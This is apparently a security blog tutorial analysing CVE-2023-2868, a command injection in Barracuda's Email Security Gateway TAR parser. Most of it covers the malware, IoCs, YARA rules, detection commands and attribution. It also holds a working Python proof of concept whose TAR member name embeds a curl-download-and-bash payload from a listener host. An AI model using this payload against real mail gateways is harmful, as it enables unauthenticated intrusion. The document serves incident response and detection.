Skip to content
Back to Blog

tutorials · 8 min read

Barracuda ESG: the bug that forces you to replace the appliance

CVE-2023-2868 is a trivial command injection in the Email Security Gateway TAR parser. UNC4841 has been exploiting it since October 2022. Barracuda does not recommend patching — it recommends throwing the device out. We reproduce the malicious filename, walk through the buggy Perl path and review the IoCs published by Mandiant.

· Manuel López Pérez · tutorials

CVE-2023-2868 is a trivial command injection in the Email Security Gateway TAR parser. UNC4841 has been exploiting it since October 2022. Barracuda does not recommend patching — it recommends throwing the device out. We reproduce the malicious filename, walk through the buggy Perl path and review the IoCs published by Mandiant.

On 23 May 2023, Barracuda publishes an advisory for CVE-2023-2868 in the Email Security Gateway (ESG, physical appliance). Pre-auth command injection in the TAR parser the ESG runs while scanning attachments. CVSS 9.8. Exploited as zero-day by UNC4841 since 10 October 2022 — seven months before disclosure.

A week later, on 6 June, Barracuda does something unusual: it tells its customers the 23 May patch is not enough and recommends physically replacing the appliance, not patching. The reason is clear when you read the Mandiant report: the attacker reaches persistence so deep — .so modules loaded by the SMTP daemon, kernel rootkit, trojanised signed binaries — that the only clean path is reflashing from a verified source, which is not possible on a commercial appliance. Cheaper to throw it out and replace.

Lab: bug analysis with reference code taken from the reverse engineering published by Rapid7 and Mandiant. No execution against any production appliance.

The bug in a qx{} call

ESG (FreeBSD-based) runs a bsmtpd service that, on receiving an email with attachments, passes them through a pipeline of scanners. For .tar files, the Perl module Archive::Tar::Streamed enumerates members and for each name calls file(1) via qx{} to identify the MIME type before passing the content to the antivirus.

The responsible line, per the RE from Rapid7 and Mandiant on mod_scanner_attachment.pl:

sub scan_tar_archive {
    my ($tar_path) = @_;
    my $tar = Archive::Tar::Streamed->new($tar_path);

    while (my $entry = $tar->next) {
        my $name = $entry->name;     # ← attacker-controlled
        # MIME detection on the extracted member name
        my $info = qx{file $name};   # ← BUG: direct interpolation into shell
        # ...further AV scanning chain...
    }
}

qx{} (alias of the backtick `…` in Perl) spawns a /bin/sh -c to execute the command. The $name variable comes from the TAR header — where POSIX allows up to 100 bytes in the name field (or 256 with a PAX header, up to GBs with GNU long name) and does not impose any restriction on shell metacharacters.

If the name contains backticks, $(), ;, | or &, the shell interprets them. RCE as the scanner user — elevated privileges on the appliance firmware.

There’s no magic. It’s the textbook example of command injection via shell concatenation, in a security appliance that processes untrusted input by design.

Building the malicious TAR

Python’s tarfile lets you control the member name byte by byte. The pattern used by UNC4841 per Mandiant’s dissection uses backticks (more reliable than ; against the double-quoting behaviour of some file(1) versions):

# poc_cve_2023_2868.py — closed lab, controlled listener
import tarfile, io

CMD = 'curl -fsSL http://10.10.10.13/s.sh -o /tmp/s.sh && bash /tmp/s.sh'
# The filename is the payload. Backticks → shell expansion.
NAME = f'`{CMD}`.txt'

data = b'A' * 16  # irrelevant content

with tarfile.open('payload.tar', 'w') as tar:
    info = tarfile.TarInfo(name=NAME)
    info.size = len(data)
    info.mode = 0o644
    tar.addfile(info, io.BytesIO(data))

# Verify: tar -tvf payload.tar prints the name with backticks
# -rw-r--r--  0  0  0   16 ...   `curl -fsSL http://10.10.10.13/s.sh -o /tmp/s.sh && bash /tmp/s.sh`.txt

Real vector: attach payload.tar to an email sent to any address protected by ESG. No session, no credentials, no need for the victim to open anything: it’s enough for the email to hit the gateway.

Mandiant documents variants with $(...) and with GNU long name extensions to get past the 100-byte POSIX header limit and inject longer commands. The final stager downloads one of the SALTWATER / SEASPY binaries from controlled infrastructure (see IoCs).

Why Barracuda says “throw it out”

After RCE, UNC4841 chains three main families:

  • SALTWATER — C++ backdoor implemented as an Apache-style module of the SMTP daemon (mod_udp.so, mod_rtf.so, etc.). Reverse shell, file transfer, port forwarding. Hooked via LD_PRELOAD or by direct module load into bsmtpd.
  • SEASPY — passive C backdoor that parses raw SMTP traffic and activates with a magic packet (a specific byte sequence in an SMTP session that triggers the bind shell). Persistence designed to survive reboots.
  • SEASIDE — Lua, staging and light commands. Loaded via a patched mod_require_helo.lua module.
  • SANDBAR — kernel-module-level rootkit (nfsd_stub.ko) that hides processes and connections.

What makes it serious isn’t the malware itself, it’s where it gets planted. UNC4841 modifies:

  • The /sbin/BarracudaMailService binary (trojanised on disk; the signed ELF is replaced with a version linked against the backdoor).
  • .so modules loaded from paths that the 23 May patch does not recompile or replace.
  • Kernel modules in /lib/modules/4.9.17-barracuda0/kernel/net/sunrpc/nfsd_stub.ko.
  • Cron jobs in /etc/cron.hourly/{core,aacore,appcheck}.sh and scripts in /etc/init.d/rc.
  • Named pipes in /tmp/{p,p1,p7,b,t,ss} as the channel for the SEASPY bind shell.

Mandiant confirms cases where the actor kept access after the 23 May patch because the modules loaded at runtime are not replaced when the fix is applied. On 6 June Barracuda announces replacement-only: the only clean path is a physical swap of the appliance. For a company that sells security appliances, the announcement is reputationally expensive — they do it because there is no valid alternative.

YARA — rules published by Mandiant

Mandiant publishes a full family in its UNC4841 technical analysis (full text on the blog). Listed by family for disk hunting:

FamilyYARA rules
TAR exploit (CVE-2023-2868)M_Hunting_Exploit_Archive_2, M_Hunting_Exploit_Archive_3, M_Hunting_Exploit_Archive_CVE_2023_2868
SALTWATERM_Hunting_Linux_SALTWATER_1, M_Hunting_Linux_SALTWATER_2, FE_Hunting_Linux_Funchook_FEBeta
SEASPYM_Hunting_Linux_SEASPY_1
SEASIDEM_Hunting_Lua_SEASIDE_1
SKIPJACKM_Hunting_SKIPJACK_1, M_Hunting_Lua_SKIPJACK_2
SEASPRAYM_Hunting_Lua_SEASPRAY_1
WHIRLPOOLM_Hunting_Linux_WHIRLPOOL_1

Example rule for the malicious TAR, simplified (Mandiant’s official rule also covers encoding variants):

rule CVE_2023_2868_Tar_Shell_Metachar
{
    meta:
        author = "ironhackers — based on M_Hunting_Exploit_Archive_*"
        description = "TAR member name with shell metacharacters (CVE-2023-2868)"
        cve = "CVE-2023-2868"
    strings:
        $magic_ustar = "ustar"
        // backticks, $() or pipes seen in the first 100 bytes of name field
        $rx_meta = /[`$|;&][a-zA-Z0-9 \/\-\._]{4,}[`)]/
    condition:
        filesize < 5MB
        and $magic_ustar
        and $rx_meta
}

UNC4841 IoCs — Mandiant + CISA selection

Mandiant publishes ~70 hashes, ~50 IPs and 8 domains. Representative selection per family:

Samples (MD5)

MD5FilenameFamily
0d67f50a0bf7a3a017784146ac41ada0snapshot.tarMalicious TAR (CVE-2023-2868)
b601fce4181b275954e3f35b18996c92install_reuse.tarSALTWATER install
827d507aa3bde0ef903ca5dec60cdec8mod_udp.soSALTWATER
4ca4f582418b2cc0626700511a6315c0BarracudaMailServiceSEASPY (trojanised binary)
cd2813f0260d63ad5adf0446253c2172mod_require_helo.luaSEASIDE
87847445f9524671022d70f2a812728fmod_content.luaSKIPJACK
35cf6faf442d325961935f660e2ab5a0mod_attachment.luaSEASPRAY
9033dc5bac76542b9b752064a56c6ee4nfsd_stub.koSANDBAR (kernel rootkit)

Persistence (file paths)

PathFamily
/sbin/BarracudaMailServiceSEASPY (trojanised executable)
/etc/init.d/rcSEASPY (persistence)
/etc/cron.hourly/{core,aacore,appcheck}.shSEASPY (persistence)
/lib/modules/4.9.17-barracuda0/kernel/net/sunrpc/nfsd_stub.koSANDBAR (kernel rootkit)
/tmp/{p,p1,p7,b,t,ss}Named pipes for reverse shell
/mail/tmp/, /mail/mstore/, /usr/share/.uc/Staging and exfiltration

Network IoCs (defanged; selection — full list in Mandiant)

TypeIndicatorNotes
IP107.148.149[.]156, 137.175.19[.]25Peg Tech ASN, US hosting
IP192.74.226[.]142, 198.2.254[.]219198.2.254[.]223Peg Tech, reused infra
Domainbestfindthetruth[.]com, gesturefavour[.]comC2
Domainsingamofing[.]com, singnode[.]com, togetheroffway[.]comC2
Domaingoldenunder[.]com, troublendsef[.]com, fessionalwork[.]comC2

Detection — commands on the appliance itself

If you have access to a compromised ESG (admin console → support shell) and need to confirm compromise before physical swap:

# 1) Known SEASPY persistence
ls -la /etc/init.d/rc /etc/cron.hourly/{core,aacore,appcheck}.sh 2>/dev/null
crontab -l 2>/dev/null; ls /etc/cron.d/ 2>/dev/null

# 2) SEASPY (trojanised) binary — compare against known-good per version
sha256sum /sbin/BarracudaMailService
# Suspicious strings in the binary (magic packet patterns)
strings /sbin/BarracudaMailService | grep -Ei 'tshell|backd|magic|bind|0xdeadbeef|pcap'

# 3) SANDBAR kernel rootkit — should not exist in a clean build
ls -la /lib/modules/*/kernel/net/sunrpc/nfsd_stub.ko 2>/dev/null
modinfo nfsd_stub 2>/dev/null

# 4) Reverse shell named pipes
ls -la /tmp/{p,p1,p7,b,t,ss} 2>/dev/null

# 5) Loaded .so modules, modified in the last 6 months
find /usr/lib /usr/local/lib /opt -name "*.so*" -mtime -180 \
  -exec sha256sum {} \; 2>/dev/null

# 6) SALTWATER variants
find / -name "mod_udp.so" -o -name "mod_rtf.so" -o -name "mod_rft.so" 2>/dev/null

# 7) Exfil staging dirs with recent changes
find /mail/tmp /mail/mstore /usr/share/.uc -type f -mtime -180 2>/dev/null

# 8) Processes with RAW sockets (SEASPY uses libpcap-style sniffing)
lsof -nP 2>/dev/null | grep -E 'pcap|RAW'

# 9) Outbound connections to published IoCs
ss -tnp 2>/dev/null | grep -E '107\.148\.149\.156|137\.175\.19\.25|192\.74\.226\.142'

Detection at the perimeter — SMTP telemetry

SEG / Defender for Office 365 logs with .tar or .tar.gz attachments whose inner listing contains metacharacters. Pseudo-rule hunt in KQL (Defender):

EmailAttachmentInfo
| where Timestamp > ago(365d)
| where FileName endswith ".tar" or FileName endswith ".tar.gz"
| join kind=inner EmailEvents on NetworkMessageId
| where RecipientEmailAddress endswith "@your-org.com"
| project Timestamp, SenderFromAddress, RecipientEmailAddress,
          Subject, FileName, FileType, SHA256

At the network level, any outbound from the ESG IP towards the listed CIDRs / IPs is a trust-inversion failure — the perimeter appliance talking to C2:

# pcap analysis (suricata / zeek) — look for ESG-range connections
tshark -r esg_pcap.pcapng -Y 'ip.src == 192.0.2.100 and tcp.flags.syn == 1' \
       -T fields -e frame.time -e ip.src -e ip.dst -e tcp.dstport \
  | sort -u

Attribution

Mandiant attributes with high confidence to UNC4841, China-nexus. Operational markers:

  • Targeting concentrated on entities of Chinese geopolitical interest: government, defence, telecom, US federal agencies, NGOs, UN bodies.
  • C2 infrastructure reused from prior China-nexus campaigns (overlaps with APT41/APT31 but Mandiant treats it as its own cluster).
  • Ability to maintain access over months without triggering detection — operational, not opportunistic.
  • TTPs specific to PRC clusters: open-source tooling alongside custom malware, hands-on-keyboard after initial compromise, manual selection of mailboxes for exfil.

Barracuda confirms ~5% of the global ESG fleet compromised. Not massive, but the selection wasn’t random: UNC4841 picked targets, didn’t scan the catalogue.

Lessons

  1. Command injection via backtick / qx{} / system($var) is still the most common pre-auth RCE bug in parsers that receive untrusted input. In 2023, in 2024 and in any year someone keeps calling a shell with concatenated strings.
  2. A “secure” appliance isn’t secure by being one. It is by being maintained and by its update model. If the update doesn’t reach firmware or the modules loaded at runtime, an attacker with deep persistence wins.
  3. The “replace the hardware” signal instead of “patch” is operational. When a vendor asks for that, they’re saying their product has no recovery mechanism they can invoke remotely. Weigh this when picking a vendor.
  4. Months of undetected targeting against a perimeter appliance. If the organisation has a geopolitical target profile, the question isn’t am I patched?, it’s do I have telemetry on an appliance the vendor admits was compromised for 7 months?

References

Back to Blog

Related Posts

View All Posts »
Palo Alto GlobalProtect CVE-2024-3400: the cookie that runs as root

tutorials · 8 min

Palo Alto GlobalProtect CVE-2024-3400: the cookie that runs as root

Pre-auth command injection in PAN-OS GlobalProtect. The SESSID cookie parameter gets interpolated into a shell to build a telemetry filename; metacharacters earn execution as root. Volexity tracks exploitation since 26 March, vendor confirms on 12 April.

· Manuel López Pérez

Cisco ASA: ArcaneDoor returns with CVE-2025-20333 and a ROM bootkit

tutorials · 15 min

Cisco ASA: ArcaneDoor returns with CVE-2025-20333 and a ROM bootkit

CVE-2025-20362 (auth bypass via path traversal, a variant of a 2018 bug) + CVE-2025-20333 (buffer overflow in a Lua script in WebVPN). Chained, pre-auth RCE as root on any ASA/FTD exposed to the internet. UAT4356 has been exploiting them since May 2025 and drops ROMMON persistence with a GRUB bootkit (RayInitiator) that survives reboot and upgrade.

· Manuel López Pérez

SharePoint ToolShell: the auth bypass Microsoft patches twice

tutorials · 14 min

SharePoint ToolShell: the auth bypass Microsoft patches twice

CVE-2025-49706 + CVE-2025-49704 give pre-auth RCE on on-prem SharePoint. The 8 July patch turns out to be incomplete and the variant CVE-2025-53770 + CVE-2025-53771 shows up, exploited at scale from 18 July. The spinstall0.aspx web shell steals the MachineKeys and persistence survives the patch.

· Manuel López Pérez